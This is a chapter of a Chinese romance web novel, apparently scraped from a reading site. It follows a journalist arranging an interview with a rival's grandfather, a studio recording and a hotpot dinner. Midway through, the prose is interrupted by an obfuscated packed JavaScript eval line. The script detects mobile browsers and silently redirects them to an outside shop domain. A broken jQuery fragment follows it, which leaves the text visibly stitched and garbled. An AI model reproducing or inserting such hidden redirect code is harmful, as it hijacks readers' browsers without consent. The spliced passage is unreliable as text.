祝老爷子当然是不反对的。他早就惦记着这事儿,能上电视讲讲那些陈年旧事,让更多人听听他们那代人的故事,他心里其实挺乐意的。
可他转念又想起上回祝勋洲那反应,老脸上的笑意微微收了收。
兰曦禾一眼就看穿了他的顾虑,弯起眼睛笑了笑:“您别担心他。我和他现在跟以前不一样了,上回也算患难与共过一回,他不至于连这个都不让您参加的。”
她顿了顿,又说:“要是您实在不放心,采访的时候我可以不去,让同事替我主持一期也行。主要就是想让更多人认识您,谁采不是采呢。”
祝老爷子听到这话,心里才慢慢舒坦。如果不是兰曦禾亲自采,那祝勋洲再怎么挑理,也没法说人家利用他爷爷往上爬了。
兰曦禾见老爷子表情松动,知道目的已经达到了大半。她又往前坐了坐,压低声音:“其实我还有个小忙想请您帮……”
祝勋洲正在元筑会议室里跟项目组过方案,手机忽然响了。他看了一眼屏幕,爷爷。接起来听了没两句,眉头就慢慢拧起来。
“人物专访栏目?”他放下手里的钢笔,“不会是兰曦禾让你去的吧?你别上她的当。”
兰曦禾这个人手段一套接一套,万一把爷爷当跳板给自己铺路呢?前几天电视台播的那期养老报道就蹭着爷爷的热度赚了好大一波关注,她指不定尝到甜头了还想再来一次。
可电话那头祝老爷子不急不慢地回他:“我打电话来就是怕你多想。人家兰曦禾说了,采访她可以找同事替她上,她就是单纯想让我高兴高兴。你呀,别对人家小姑娘恶意那么大。”
祝老爷子又补了几句,说兰曦禾之前来找他聊过,提到以前祝勋洲对她态度很凶,她去采访他每次都不给好脸色。兰曦禾说想跟他和好,想让爷爷帮忙缓和缓和关系,结果祝勋洲知道以后反而变本加厉,甚至威胁爷爷让他在两人之间二选一。
祝勋洲听到这儿沉默了一会儿,忽然问了一句:“那我凶她的时候……她没还手吗?”
“还什么手?”祝老爷子的声音拔高了几分,“人家小姑娘家家,没被你凶跑就已经不错了。你还指望她还手?”
接着老爷子又絮絮叨叨说了一堆,说他以前怎么欺负人家、怎么伤人家的。祝勋洲听着听着,胸口忽然涌上一股酸涩。
他以前那么混账,那她怎么连还手都不会的?
可转念一想,最近几次见面,兰曦禾在他面前已经开始敢回嘴了,怼他的时候眼睛亮晶晶的,一点不怯。他嘴角不自觉地翘了一下,看来现在倒是没那么蠢了。
“行了,”他叹了口气,“你去吧。我不拦着。”
挂了电话,重新推开会议室的门。里面白齐铭刚好结束了顾问汇报,欧阳明正在跟他握手道谢:“辛苦了,那咱们进度尽量加快,争取早日把方案落地。”
“好。”白齐铭点了点头。
小胖在旁边问了一句:“白顾问,需要派车送您回去吗?”
“今天我刚好休息。”白齐铭想了想,“能送我去电视台吗?晚上有个录播节目要去一下。”
他刚回国还没来得及置车,元筑愿意送一趟正好,省了打车的工夫。
“我去送。”祝勋洲忽然开口,“我是老板,时间比较自由。”
电视台这边,白齐铭一露面,整个台里的人都忍不住偏头往这边瞟。有人小声嘀咕了一句“这也太白月光了吧”。
兰曦禾在演播厅里跟他对着流程,余光都能感觉到四面八方飘过来的视线。白齐铭也注意到了,低头翻稿子的时候轻声笑了一下:“这么多人看着,会给你造成影响吗?要不一会儿我制造个有对象的假象,帮你挡一挡?”
“不用。”兰曦禾头笔尖在稿纸上勾了一笔,“越抹越黑。”
岳蓉儿站在演播厅外的走廊上,隔着玻璃看了一眼里面正在对稿的兰曦禾和白齐铭,转身径直去了主编办公室。
“我看下一期的资料了,兰曦禾找了祝勋洲的爷爷来?”她没绕弯子,直接坐到主编对面,“她还打算换人主持一期?怎么回事?”
消息是她刚才在茶水间听来的。同事们在闲聊,说兰曦禾也不知道怎么想的,好不容易挖到祝老爷子这种级别的采访对象,居然打算让出一期给别人。
主编放下茶杯,慢悠悠地喝了口茶:“是有这么回事。人选其实已经定了,是兰曦禾自己指定的,她带的那个实习生。”
“张金瑞?”岳蓉儿皱起眉头,“一个实习生,凭什么跟我们正式员工抢?”
“别急嘛。”主编靠多少也听说岳家最近出了状况,广告撤了一半。他给岳蓉儿的那些好项目她都不接了,他不明白她现在为什么非要盯上这么个小专访,“实习生也是要锻炼的,我们作为实习基地,总得给人提供实践机会不是?”
岳蓉儿知道他在敷衍,压着声音把话挑明了:“那个栏目我要做。主编,您收的那些礼……”
“蓉儿啊。”主编忽然打断她,脸上的笑意淡了,语气也沉了下来,“你们岳家最近什么情况你比我清楚。你父亲除了给我送礼,还在规划局那边走了不少门路吧?你说这些消息要是传出去,你们岳家还能在京城待得下去吗?”
岳蓉儿脸色一白。她不确定父亲有没有做过那些事,但记忆里隐约闪过几回父亲提起规划局某个人名时的语气,那时候她没多想,如今被主编这么一戳,脊背莫名发凉。
主编其实也是道听途说。他有个做房地产的亲戚在饭局上顺嘴提过两三句,真假难辨,但看岳蓉儿这个反应,他笑了一声,或许还真压对了。“职场嘛,就是要靠自己抢的。以前是你爸妈帮你抢好了,现在没伞了,也得学着自己撑一把。”
岳蓉儿抿着唇,从椅子上站起来,冷冷看了他一眼,转身走出了办公室。这个雨中收伞的家伙,她记住了。
演播厅里灯光已经全亮起来。导播比了个手势,录制正式开始。
兰曦禾坐在采访位上,白齐铭在她对面,两人之间隔了一张矮桌,桌上摆着两杯温水。
镜头推近,兰曦禾弯起眼睛。白齐铭被她的节奏带着走,回答时的语气也非常柔和。
祝勋洲就站在导播身后,双手插兜看着监视器屏幕。屏幕上两人对视的画面被镜头切得衔接特别完美,一个眼波温软,一个唇角含笑。
他旁边有个实习生小姑娘凑到同事耳边小声说了一句:“这CP感好强啊,两个人同框也太养眼了吧。”
祝勋洲眼皮跳了一下,下意识抬眼看向台上的白齐铭。
长得也就一般,身材也就一般,声音……一般。都一般。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913111|213208||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不知道喜欢他哪。
他收回视线,侧头问旁边一个策划组的人:“你们这个栏目的策划,我能看一眼吗?”
那人受宠若惊,赶紧把文件夹递过来。祝勋洲接过去胡乱翻了翻,纸张哗啦响了几声,然后他合上文件夹,转头看向制片人:“策划不错。我自荐参加这个栏目。”
制片人眼睛一下子亮了,祝老爷子要来,祝勋洲也要来?这期收视率怕不是要冲破天花板了。
录制结束,灯一灭,兰曦禾从座位上站起来活动了一下肩膀。走出演播厅,张金瑞和李雯钰正靠在走廊墙上等她,旁边还站着祝勋洲。
白齐铭也跟着走了出来,看到祝勋洲便自然地开口:“对了,今晚是祝总工送我来的。他刚好没事,顺便来看看咱们录制现场。”
祝勋洲慢悠悠接了一句:“我没那么无聊。只是顺便来看看新闻行业有没有什么人工智能能切入的商机。”
白齐铭笑笑转移话题,“我和曦禾一会儿打算去京大附近吃火锅,祝总工要不要一起?”
旁边的张金瑞迅速发表意见:“我想去!那家火锅老好吃了!”
下一秒被李雯钰一把拽住胳膊往后拖:“你吃什么吃?马上要实战采访了,稿子写完了吗你?”谁也别打扰姐妹的爱情大业。
张金瑞还挣扎着回头看了一眼,被李雯钰连拖带拽地拉出了走廊。
祝勋洲几乎没有犹豫,点了点头:“行,刚好没吃饭。”
于是三个人一起出了电视台,目的地是京大附近那家开了二十多年的老火锅店。
车程不长,但路上刚好赶上晚高峰,等到的时候天色已经暗透了。店门不大,门口却排着十来号人,喧喧嚷嚷地挤满了整条街。
老板正站在门口帮着翻台,一抬头看见白齐铭愣了一下,然后露出惊喜的笑:“哎哟!好久不见啊!听说你去英国了,我还以为再也见不着你了。”
“不会。”白齐铭笑着拍拍老板的肩,“以后都在国内了,跑不掉。”
老板目光一转,又落到兰曦禾身上,笑容更大了:“哟,你们俩还在一起呢!真好真好,这么多年了还是对方。”
祝勋洲站在旁边,嘴角微微扯了一下。
兰曦禾余光瞥了他一眼,在他开口说什么更难听的话之前抢先一步:“老板,还是老地方。对了,”她侧头看向祝勋洲,“能吃辣吗?”
“能。”
“那就老样子。”兰曦禾对老板点点头,三个人被引进角落一个半开放的小隔间,木桌木椅,墙上贴着十几年前的学生涂鸦,烟火气裹着红油香味扑面而来。
锅底很快端上来,红油在铁锅里翻着细密的气泡,花椒和辣椒随着热浪一沉一浮。兰曦禾端着碗起身去调料台。
调料台面前,兰曦禾拿起小碗驾轻就熟地往里加:蒜末、葱花、熟芝麻、小米辣各加点。再来一层香菜,然后挤了蒜蓉酱和生抽各一勺,蚝油半勺,最后淋了一圈香油,收手。
高二之前,兰曦禾对调蘸水没有任何技巧,纯看哪个顺眼就往里加。直到高二一次班级聚会,祝勋洲的蘸水被一哥们蹭了一口,当时惊艳得他当场追着问配方。
祝勋洲说了,她偷偷照着他的配比复刻了一次,发现真的特别好吃,鲜香扑鼻,后味浓郁,从那以后就再也没换过。